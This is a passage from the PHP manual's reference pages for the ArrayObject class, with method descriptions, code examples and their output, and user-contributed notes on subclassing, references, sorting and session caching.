But things are different when $this is used in an ArrayObject object. e.g., following code piece are valid:

<?php
class TestArrayObject extends ArrayObject {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestArrayObject();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>
Venelin Vulkov 05-Nov-2008 01:09
Simple example of usage :

<?php

$array = array('Buck','Jerry','Tomas');

$arrayObject = new ArrayObject($array);
// Add new element
$arrayObject->append('Tweety');

// We are getting the iterator of the object
$iterator = $arrayObject->getIterator();

// Simple while loop
while ($iterator->valid()) {
    echo $iterator->current() . "\n";
    $iterator->next();
}

/* Outputs */
Buck
Jerry
Tomas
Tweety

?>

Note that not all the public methods of this class are documented here .
( Which includes a lot sorting methods ) .

Regards
tony dot fraser at gmail dot com 09-Oct-2008 08:30
The code above will pretty much work as it is, though I have since added in some features.

Further notes:
1. Be very aware of this bug until 5.3 becomes stable.
http://bugs.php.net/bug.php?id=41528

Basically, we wrote this collection to be a java-like object cache stored in session (instead of  hitting the soap server or a DB all the time) to load objects in $_SESSION['cache']  But, this particular bug will prevent the object from working in the second page. The variable is there, but there's nothing in it.

The easy work around is to upgrade PHP to 5.3, and it works like a charm, but at the moment 5.3 happens to be in alpha mode.

2. You cannot have a PDO object in as a member variable of a class stored in the ArrayObject if you want it to pass through sessions. You can store it if it's not going into a session, but if you want to cache like we're tying to do, make SURE you $_dbHandle="" wherever you need to.

3. My earlier post was just proof of concept. We have it working now so  UserCollection extends GenericCollectionAbstract.  and GenericCollectionAbstract implements the GenericCollectionInterface. GenericCollectionObject is the object stored in the GenericCollection's $arrayObject data, and is basically just a two property object that holds the ID of the object, and the object itself.

When all is said and done this works like a charm.

page 1 ->
$_SESSION['u'] = new UserCollection();
$_SESSION['u']->getObject(1, $dbWW);
page-2->
echo $_SESSION['u']->getObject(2, $dbWW)->getProperty('email');

And of course, getProperty() is from my user class.

my UserCollecton->getObject overwrite method is as follows:

<?php
public function getObject($_id, $_dbHandle){
        //error_log('trying to get object');
        if (parent::objectExists($_id)){
            return parent::getObject($_id, $_dbHandle);
            error_log('returning object');
        }
        else{
            //error_log('collecting new user');
            $_tempUser = new User();
            if ($_tempUser->populateByID($_id, $_dbHandle)){
                parent::addObject($_id, $_tempUser);
                if (parent::objectExists($_id)) {
                    $_return = parent::getObject($_id);
                }
                else $_return = "";
            }
            else {
                $_return = "";
            }
            $this->dbHandle=""; //This has to be done, otherwise it's stored in the object as a private var
                                //and it will break the object if it resides in a session.
            return $_return;
        }
?>

Shoot me an email if you have any questions.
enjoy.!
tony at tonyandcarol dot com 07-Oct-2008 07:49
My need was to create a java-like collection where I could store objects by their DB primary keys while having the standard stack capabilities of adding, retrieving, and removing objects from collection. ArrayObject didn't quite do what I need it to do so I extended it a little.

<?php
class GenericCollection extends ArrayObject{
    private $data;
    function __construct(){
        $this->data = new ArrayObject();
    }

    function addObject($_id, $_object){
        $_thisItem = new CollectionObject($_id, $_object);
        $this->data->offSetSet($_id, $_thisItem);
    }
    function deleteObject($_id){
        $this->data->offsetUnset($_id);
    }
    function getObject($_id){
        $_thisObject = $this->data->offSetGet($_id);
        return $_thisObject->getObject();
    }
    function printCollection() {
        print_r($this->data);
    }
}

class CollectionObject {
    private $id;
    private $object;

    function __construct($_id, $_object){
        $this->id = $_id;
        $this->object = $_object;
    }
    function getObject(){
        return $this->object;
    }
    function printObject() {
        print_r($this);
    }
}
?>

Call it like so:

<?php
$u1 = new User/Data/Object (); //whatever, just an object.

$myCollection = new GenericCollection();
$myCollection->addObject(1, $u1);
print_r($myCollection->getObject(1));
?>

Now you have a simple and functional collection framework. Add methods in for specific types of sorting, we just didn't need anything other than primary key access. And you can add introspection into the collection object if you need to track what kind of an object it is.

tony@tonyandcarol.com
dave at csixty4 dot com 05-Sep-2008 08:28
If you want to use array functions on an ArrayObject, why not use iterator_to_array() to get a standard PHP array?  Do your operations on that array, then instantiate a new ArrayObject, passing it the array.

This might be a little slow on large ArrayObjects, but you'd have access to all of the array functions.
Anonymous 09-Aug-2008 06:17
Too bad the Array functions [1] are not available on this object… otherwise I would be using it all the time.

[1] http://nl.php.net/manual/en/ref.array.php
Miscellaneous Classes and Interfaces
ArrayObject::append
Miscellaneous Classes and Interfaces


Appends the value

ArrayObject
ArrayObject::asort
ArrayObject
PHP Manual

ArrayObject::append

(PHP 5 >= 5.0.0)

ArrayObject::append — Appends the value

Description

public void ArrayObject::append ( mixed $value )

Appends a new value as the last element.

Note:

This method cannot be called when the ArrayObject was constructed from an object. Use ArrayObject::offsetSet() instead.

Parameters

value

The value being appended.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::append() example

<?php
$arrayobj = new ArrayObject(array('first','second','third'));
$arrayobj->append('fourth');
$arrayobj->append(array('five', 'six'));
var_dump($arrayobj);
?>

The above example will output:

object(ArrayObject)#1 (5) {
  [0]=>
  string(5) "first"
  [1]=>
  string(6) "second"
  [2]=>
  string(5) "third"
  [3]=>
  string(6) "fourth"
  [4]=>
  array(2) {
    [0]=>
    string(4) "five"
    [1]=>
    string(3) "six"
  }
}

See Also

  • ArrayObject::offsetSet() - Sets the value at the specified index to newval

User Contributed Notes

c dot 1 at smithies dot org 25-Nov-2009 09:56
This member function is implemented as follows:

<?php
class ArrayObject /* .... */ {
  // ...
  public function append($v) {
    return $this->offsetSet(NULL, $v);
  }
  // ...
}
?>
ArrayObject
ArrayObject::asort
ArrayObject


Sort the entries by value

ArrayObject::append
ArrayObject::__construct
ArrayObject
PHP Manual

ArrayObject::asort

(PHP 5 >= 5.2.0)

ArrayObject::asort — Sort the entries by value

Description

public void ArrayObject::asort ( void )

Sorts the entries such that the keys maintain their correlation with the entries they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::asort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->asort();

foreach ($fruitArrayObject as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

c = apple
b = banana
d = lemon
a = orange

The fruits have been sorted in alphabetical order, and the key associated with each entry has been maintained.

See Also

  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::append
ArrayObject::__construct
ArrayObject


Construct a new array object

ArrayObject::asort
ArrayObject::count
ArrayObject
PHP Manual

ArrayObject::__construct

(PHP 5 >= 5.0.0)

ArrayObject::__construct — Construct a new array object

Description

public ArrayObject::__construct() ([ mixed $input [, int $flags [, string $iterator_class ]]] )

This constructs a new array object.

Parameters

input

The input parameter accepts an array or an Object.

flags

Flags to control the behaviour of the ArrayObject object.

iterator_class

Specify the class that will be used for iteration of the ArrayObject object. ArrayIterator is the default class used.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::__construct() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

var_dump($arrayobject);
?>

The above example will output:

object(ArrayObject)#1 (3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

See Also

  • ArrayObject::setflags() - Sets the behavior flags.

User Contributed Notes

ashley at nospam dot zincdigital dot com 03-Jul-2009 03:18
The great confusion with this class is in its naming.  ArrayObject infers it will behave as an Array and as an Object.  It won't.  It behaves as an array.  It would better be called ArrayType.  You can, with some work, get it to work both as an object and as an array, but that is up to you.
kjarli at gmail dot com 03-Jul-2008 03:11
This extend allows multidimensional arrays to be converted aswell. It also returns 'Array' when echoed (unlike ArrayObject which gives an error).
<?php
/**
 * @author iltar van der berg
 * @version 1.0.1
 */
class RecursiveArrayObject extends ArrayObject
{
    /**
     * overwrites the ArrayObject constructor for
     * iteration through the "array". When the item
     * is an array, it creates another self() instead
     * of an array
     *
     * @param Array $array data array
     */
    public function __construct(Array $array)
    {
        foreach($array as $key => $value) {
            if(is_array($value)){
                $value = new self($value);
            }
            $this->offsetSet($key, $value);
        }
    }

    /**
     * returns Array when printed (like "echo array();")
     * instead of an error
     *
     * @return string
     */
    public function __ToString()
    {
        return 'Array';
    }
}
?>
german dot rumm at gmail dot com 14-Mar-2008 10:37
BTW, if you need to change array later, use exchangeArray() method. Good to know when you are writing a class that extends ArrayObject()

AFAIK, exchangeArray() doesn't return anything.

<?php
    $a = array('one', 'two', 'three');
    $ao = new ArrayObject($a);

    foreach ($ao as $element) {
        echo $element . ' '; // one two three
    }

    $b = array('four', 'five', 'six');
    $ao->exchangeArray($b); // returns null

    foreach ($ao as $element) {
        echo $element . ' '; // four five six
    }
?>
agalkin at agalkin dot ru 21-Aug-2007 01:56
Note that the first argument to ArrayObject::__construct, the initial array, is passed by reference. Nevertheless, modification of the array doesn't modify the object, so it may cause unexpected behaviour.

<?php
$array = array('foo' => 'initial');
$obj = new ArrayObject($array);

// array was passed by reference:
$obj['foo'] = 'modified';
var_dump($array); // foo => modified

// but it doesn't work backwards:
$array['foo'] = 'modified_again';
var_dump($obj); // foo => modified
var_dump($array); // foo => modified_again
?>
Grigori Kochanov 15-Jul-2006 03:51
As Marcus explained, the flag ArrayObject::SPL_ARRAY_AS_PROPS means the array element may be used as a property if there is no conflict with visible properties.

If there are visible properties in the class, the array element will not overwrite it's value.

<?php
class Rules extends ArrayObject {
    public $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 1

<?php
class Rules extends ArrayObject {
    private $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 2
ArrayObject::asort
ArrayObject::count
ArrayObject


Get the number of public properties in the ArrayObject

ArrayObject::__construct
ArrayObject::exchangeArray
ArrayObject
PHP Manual

ArrayObject::count

(PHP 5 >= 5.0.0)

ArrayObject::count — Get the number of public properties in the ArrayObject

Description

public int ArrayObject::count ( void )

Get the number of public properties in the ArrayObject.

Parameters

This function has no parameters.

Return Values

The number of public properties in the ArrayObject.

Note:

When the ArrayObject is constructed from an array all properties are public.

Examples

Example #1 ArrayObject::count() example

<?php
class Example {
    public $public = 'prop:public';
    private $prv   = 'prop:private';
    protected $prt = 'prop:protected';
}

$arrayobj = new ArrayObject(new Example());
var_dump($arrayobj->count());

$arrayobj = new ArrayObject(array('first','second','third'));
var_dump($arrayobj->count());
?>

The above example will output:

int(1)
int(3)

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::__construct
ArrayObject::exchangeArray
ArrayObject


Exchange the array for another one.

ArrayObject::count
ArrayObject::getArrayCopy
ArrayObject
PHP Manual

ArrayObject::exchangeArray

(PHP 5 >= 5.1.0)

ArrayObject::exchangeArray — Exchange the array for another one.

Description

public array ArrayObject::exchangeArray ( mixed $input )

Exchange the current array with another array or object.

Parameters

input

The new array or object to exchange with the current array.

Return Values

Returns the old array.

Examples

Example #1 ArrayObject::exchangeArray() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);
// Array of locations in Europe
$locations = array('Amsterdam', 'Paris', 'London');

$fruitsArrayObject = new ArrayObject($fruits);

// Now exchange fruits for locations
$old = $fruitsArrayObject->exchangeArray($locations);
print_r($old);
print_r($fruitsArrayObject);

?>

The above example will output:

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)
ArrayObject Object
(
    [0] => Amsterdam
    [1] => Paris
    [2] => London
)

User Contributed Notes

Dmitri Snytkine 15-Dec-2009 02:11
It seems that input array is always passed by reference.
For example if you have an existing array
$array with some values
then you have an arrayobject $o
and then you do this:
$o->exchangeArray($array);
$o->offsetSet('somekey', 'some value');

Now if you check your $array array, it will have
a key 'somekey' with value of 'some value'

I totally did not expect that, I am sure it was a mistake to pass array by reference by default.
ArrayObject::count
ArrayObject::getArrayCopy
ArrayObject


Creates a copy of the ArrayObject.

ArrayObject::exchangeArray
ArrayObject::getFlags
ArrayObject
PHP Manual

ArrayObject::getArrayCopy

(PHP 5 >= 5.0.0)

ArrayObject::getArrayCopy — Creates a copy of the ArrayObject.

Description

public array ArrayObject::getArrayCopy ( void )

Exports the ArrayObject to an array.

Parameters

This function has no parameters.

Return Values

Returns a copy of the array. When the ArrayObject refers to an object an array of the public properties of that object will be returned.

Examples

Example #1 ArrayObject::getArrayCopy() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);
$fruitsArrayObject['pears'] = 4;

// create a copy of the array
$copy = $fruitsArrayObject->getArrayCopy();
print_r($copy);

?>

The above example will output:

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
    [pears] => 4
)

User Contributed Notes

Ivo von Putzer 05-Dec-2011 05:06
If you did something like this to make your constructor multidimensional capable you will have some trouble using getArrayCopy to get a plain array straight out of the method:
<?php
public function __construct( $array = array(), $flags = 2 )
{
    // let’s give the objects the right and not the inherited name
    $class = get_class($this);

    foreach($array as $offset => $value)
        $this->offsetSet($offset, is_array($value) ? new $class($value) : $value);

    $this->setFlags($flags);
}
?>

That’s the way I solved it:

<?php
public function getArray($recursion = false)
{
    // just in case the object might be multidimensional
    if ( $this === true)
        return $this->getArrayCopy();

    return array_map( function($item){
        return is_object($item) ? $item->getArray(true) : $item;
    }, $this->getArrayCopy() );
}
?>

Hope this was useful!
ArrayObject::exchangeArray
ArrayObject::getFlags
ArrayObject


Gets the behavior flags.

ArrayObject::getArrayCopy
ArrayObject::getIterator
ArrayObject
PHP Manual

ArrayObject::getFlags

(PHP 5 >= 5.1.0)

ArrayObject::getFlags — Gets the behavior flags.

Description

public int ArrayObject::getFlags ( void )

Gets the behavior flags of the ArrayObject. See the ArrayObject::setFlags method for a list of the available flags.

Parameters

This function has no parameters.

Return Values

Returns the behavior flags of the ArrayObject.

Examples

Example #1 ArrayObject::getFlags() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Get the current flags
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);

// Set new flags
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);

// Get the new flags
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);
?>

The above example will output:

int(0)
int(2)

See Also

  • The ArrayObject::setFlags method

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::getArrayCopy
ArrayObject::getIterator
ArrayObject


Create a new iterator from an ArrayObject instance

ArrayObject::getFlags
ArrayObject::getIteratorClass
ArrayObject
PHP Manual

ArrayObject::getIterator

(PHP 5 >= 5.0.0)

ArrayObject::getIterator — Create a new iterator from an ArrayObject instance

Description

public ArrayIterator ArrayObject::getIterator ( void )

Create a new iterator from an ArrayObject instance.

Parameters

This function has no parameters.

Return Values

An iterator from an ArrayObject.

Examples

Example #1 ArrayObject::getIterator() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

The above example will output:

1 => one
2 => two
3 => three

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::getFlags
ArrayObject::getIteratorClass
ArrayObject


Gets the iterator classname for the ArrayObject.

ArrayObject::getIterator
ArrayObject::ksort
ArrayObject
PHP Manual

ArrayObject::getIteratorClass

(PHP 5 >= 5.1.0)

ArrayObject::getIteratorClass — Gets the iterator classname for the ArrayObject.

Description

public string ArrayObject::getIteratorClass ( void )

Gets the class name of the array iterator that is used by ArrayObject::getIterator().

Parameters

This function has no parameters.

Return Values

Returns the iterator class name that is used to iterate over this object.

Examples

Example #1 ArrayObject::getIteratorClass() example

<?php
// Custom ArrayIterator (inherits from ArrayIterator)
class MyArrayIterator extends ArrayIterator {
    // custom implementation
}

// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Get the current class name
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);

// Set new classname
$fruitsArrayObject->setIteratorClass('MyArrayIterator');

// Get the new iterator classname
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);
?>

The above example will output:

string(13) "ArrayIterator"
string(15) "MyArrayIterator"

See Also

  • The ArrayObject::setIteratorClass method

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::getIterator
ArrayObject::ksort
ArrayObject


Sort the entries by key

ArrayObject::getIteratorClass
ArrayObject::natcasesort
ArrayObject
PHP Manual

ArrayObject::ksort

(PHP 5 >= 5.2.0)

ArrayObject::ksort — Sort the entries by key

Description

public void ArrayObject::ksort ( void )

Sorts the entries by key, maintaining key to entry correlations. This is useful mainly for associative arrays.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::ksort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->ksort();

foreach ($fruitArrayObject as $key => $val) {
    echo "$key = $val\n";
}
 ?>

The above example will output:

a = orange
b = banana
c = apple
d = lemon

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::getIteratorClass
ArrayObject::natcasesort
ArrayObject


Sort an array using a case insensitive "natural order" algorithm

ArrayObject::ksort
ArrayObject::natsort
ArrayObject
PHP Manual

ArrayObject::natcasesort

(PHP 5 >= 5.2.0)

ArrayObject::natcasesort — Sort an array using a case insensitive "natural order" algorithm

Description

public void ArrayObject::natcasesort ( void )

This method is a case insensitive version of ArrayObject::natsort.

This method implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering".

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::natcasesort() example

<?php
$array = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natcasesort();
echo "\nNatural order sorting (case-insensitive)\n";
print_r($arr2);
?>

The above example will output:

Standard sorting
ArrayObject Object
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [2] => img10.png
    [1] => img12.png
    [3] => img2.png
)

Natural order sorting (case-insensitive)
ArrayObject Object
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::ksort
ArrayObject::natsort
ArrayObject


Sort entries using a "natural order" algorithm

ArrayObject::natcasesort
ArrayObject::offsetExists
ArrayObject
PHP Manual

ArrayObject::natsort

(PHP 5 >= 5.2.0)

ArrayObject::natsort — Sort entries using a "natural order" algorithm

Description

public void ArrayObject::natsort ( void )

This method implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering". An example of the difference between this algorithm and the regular computer string sorting algorithms (used in ArrayObject::asort) method can be seen in the example below.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::natsort() example

<?php
$array = array("img12.png", "img10.png", "img2.png", "img1.png");

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natsort();
echo "\nNatural order sorting\n";
print_r($arr2);
?>

The above example will output:

Standard sorting
ArrayObject Object
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
ArrayObject Object
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::natcasesort
ArrayObject::offsetExists
ArrayObject


Returns whether the requested index exists

ArrayObject::natsort
ArrayObject::offsetGet
ArrayObject
PHP Manual

ArrayObject::offsetExists

(PHP 5 >= 5.0.0)

ArrayObject::offsetExists — Returns whether the requested index exists

Description

public bool ArrayObject::offsetExists ( mixed $index )

Parameters

index

The index being checked.

Return Values

TRUE if the requested index exists, otherwise FALSE

Examples

Example #1 ArrayObject::offsetExists() example

<?php
$arrayobj = new ArrayObject(array('zero', 'one', 'example'=>'e.g.'));
var_dump($arrayobj->offsetExists(1));
var_dump($arrayobj->offsetExists('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

The above example will output:

bool(true)
bool(true)
bool(false)

User Contributed Notes

goran at extensionsforjoomla dot com 09-Jul-2007 03:52
In versions prior to PHP 5.2.2 offsetExists() would return false if index value is null.
<?php
// running PHP 5.2.1
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(false)
// running PHP 5.2.2
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(true)
?>
Both tests where made on Windows platform.
ArrayObject::natsort
ArrayObject::offsetGet
ArrayObject


Returns the value at the specified index

ArrayObject::offsetExists
ArrayObject::offsetSet
ArrayObject
PHP Manual

ArrayObject::offsetGet

(PHP 5 >= 5.0.0)

ArrayObject::offsetGet — Returns the value at the specified index

Description

public mixed ArrayObject::offsetGet ( mixed $index )

Parameters

index

The index with the value.

Return Values

The value at the specified index or FALSE.

Examples

Example #1 ArrayObject::offsetGet() example

<?php
$arrayobj = new ArrayObject(array('zero', 7, 'example'=>'e.g.'));
var_dump($arrayobj->offsetGet(1));
var_dump($arrayobj->offsetGet('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

The above example will output:

int(7)
string(4) "e.g."
bool(false)

User Contributed Notes

Alex Andrienko 20-Jan-2009 03:58
Speaking of offsetGet() method overloading, be advised, that if you're iterating through Object via foreach, this method wouldn't be called. Iterator's current() method will be called instead.
Sam 30-Nov-2007 03:01
If you're overloading ArrayObject, it's worth noting that while this method (when implemented by the parent) will return a reference, so code like $fakeArray['foobar']['hello'] = 1; will work like you expect.

However, when you overload the offsetGet method, you CANNOT define it as &offsetGet, so the above code falls out (because it returns the 'foobar' variable before you actually work with it).

This is something that the developers broke between 5.0 and 5.1, and was closed as bogus (http://bugs.php.net/bug.php?id=34783). So this is not a big, or question, or request, but just something worth noting.
ArrayObject::offsetExists
ArrayObject::offsetSet
ArrayObject


Sets the value at the specified index to newval

ArrayObject::offsetGet
ArrayObject::offsetUnset
ArrayObject
PHP Manual

ArrayObject::offsetSet

(PHP 5 >= 5.0.0)

ArrayObject::offsetSet — Sets the value at the specified index to newval

Description

public void ArrayObject::offsetSet ( mixed $index , mixed $newval )

Sets the value at the specified index to newval.

Parameters

index

The index being set.

newval

The new value for the index.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::offsetSet() example

<?php
class Example {
    public $property = 'prop:public';
}
$arrayobj = new ArrayObject(new Example());
$arrayobj->offsetSet(4, 'four');
$arrayobj->offsetSet('group', array('g1', 'g2'));
var_dump($arrayobj);

$arrayobj = new ArrayObject(array('zero','one'));
$arrayobj->offsetSet(null, 'last');
var_dump($arrayobj);
?>

The above example will output:

object(ArrayObject)#1 (3) {
  ["property"]=>
  string(11) "prop:public"
  [4]=>
  string(4) "four"
  ["group"]=>
  array(2) {
    [0]=>
    string(2) "g1"
    [1]=>
    string(2) "g2"
  }
}
object(ArrayObject)#3 (3) {
  [0]=>
  string(4) "zero"
  [1]=>
  string(3) "one"
  [2]=>
  string(4) "last"
}

See Also

  • ArrayObject::append() - Appends the value

User Contributed Notes

jerikojerk 22-Aug-2011 03:58
On my php 5.3.5 installation, i discovered that value can be set by reference and not by copy ... depending the context..

so this is différent from what a regular array()

<?php

function set(&$x, &$a )
{
    $x[] = $a;
}

$x = new ArrayObject();
$y = array();
$z = new ArrayObject();

$a =  array( 'foo' );
set($y,$a);
set($x,$a);
$z[]=$a;

$a = array( 'bar');

set($x,$a);
set($y,$a);
$z[]=$a;

print_r($x);
print_r($y);
print_r($z);
?>

// output
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
Array
(
    [0] => Array
        (
            [0] => foo
        )

    [1] => Array
        (
            [0] => bar
        )

)
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
n dot lenepveu at gmail dot com 30-Sep-2008 12:20
If $index is null, $newval is naturally pushed onto the end of the array as ArrayObject::append
ArrayObject::offsetGet
ArrayObject::offsetUnset
ArrayObject


Unsets the value at the specified index

ArrayObject::offsetSet
ArrayObject::serialize
ArrayObject
PHP Manual

ArrayObject::offsetUnset

(PHP 5 >= 5.0.0)

ArrayObject::offsetUnset — Unsets the value at the specified index

Description

public void ArrayObject::offsetUnset ( mixed $index )

Unsets the value at the specified index.

Parameters

index

The index being unset.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::offsetUnset() example

<?php
$arrayobj = new ArrayObject(array(0=>'zero',2=>'two'));
$arrayobj->offsetUnset(2);
var_dump($arrayobj);
?>

The above example will output:

object(ArrayObject)#1 (1) {
  [0]=>
  string(4) "zero"
}

User Contributed Notes

pvenakis at efront dot gr 10-Jan-2008 12:57
When traversing recursively nested arrays using an RecursiveIteratorIterator, you cannot offsetUnset() or offsetSet() sub-array values, unless they are *all* declared as ArrayObject.
oalexandrino at yahoo dot com dot br 28-May-2007 11:11
Be careful when you are working with collections. This method works with the reference of an array instead of its retrieved value.

So, you can do a mistake.

In order to understand have a look at code as follow:

<?php
class Employee
{
    public function __construct()
    {
    }
}

class Company
{
    private $arrEmployee;

    public function __construct()
    {
    }

    public function AddEmployee(Employee $oEmployee)
    {
        $this->arrEmployee[] = $oEmployee;

    }

    public function getEmployeeList()
    {
        return $this->arrEmployee;

    }

}
?>

<?php

// first, creates the Company object
$oCompany = new Company();

// second, add 10 elements in
foreach( range(0, 9) as $index )
{
    $oCompany->AddEmployee( new Employee() );
}

// get them
$arrEmployee = $oCompany->getEmployeeList();

// creates an ArrayObject from "$arrEmployee"
$arrayobject = new ArrayObject($arrEmployee);

// unsets its firt five elements
foreach( range(0, 4) as $index )
{
    $arrayobject->offsetUnset($index);
}

// get them again
$arrEmployee = $oCompany->getEmployeeList();

// it shows just 5 elements, they were removed as reference via "offsetUnset" method
print_r($arrEmployee) ;

?>
ArrayObject::offsetSet
ArrayObject::serialize
ArrayObject


Serialize an ArrayObject

ArrayObject::offsetUnset
ArrayObject::setFlags
ArrayObject
PHP Manual

ArrayObject::serialize

(PHP 5 >= 5.3.0)

ArrayObject::serialize — Serialize an ArrayObject

Description

public void ArrayObject::serialize ( void )

Serializes an ArrayObject.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The serialized representation of the ArrayObject.

Examples

Example #1 ArrayObject::serialize() example

<?php
$o = new ArrayObject();

$s1 = serialize($o);
$s2 = $o->serialize();

var_dump($s1);
var_dump($s2);
?>

The above example will output:

string(45) "C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}}"
string(21) "x:i:0;a:0:{};m:a:0:{}"

See Also

  • ArrayObject::unserialize() - Unserialize an ArrayObject
  • serialize() - Generates a storable representation of a value
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.
ArrayObject::offsetUnset
ArrayObject::setFlags
ArrayObject


Sets the behavior flags.

ArrayObject::serialize
ArrayObject::setIteratorClass
ArrayObject
PHP Manual

ArrayObject::setFlags

(PHP 5 >= 5.1.0)

ArrayObject::setFlags — Sets the behavior flags.

Description

public void ArrayObject::setFlags ( int $flags )

Set the flags that change the behavior of the ArrayObject.

Parameters

flags

The new ArrayObject behavior. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions.

The available behavior flags are listed below. The actual meanings of these flags are described in the predefined constants.

ArrayObject behavior flags
value | constant
1 | ArrayObject::STD_PROP_LIST
2 | ArrayObject::ARRAY_AS_PROPS

Return Values

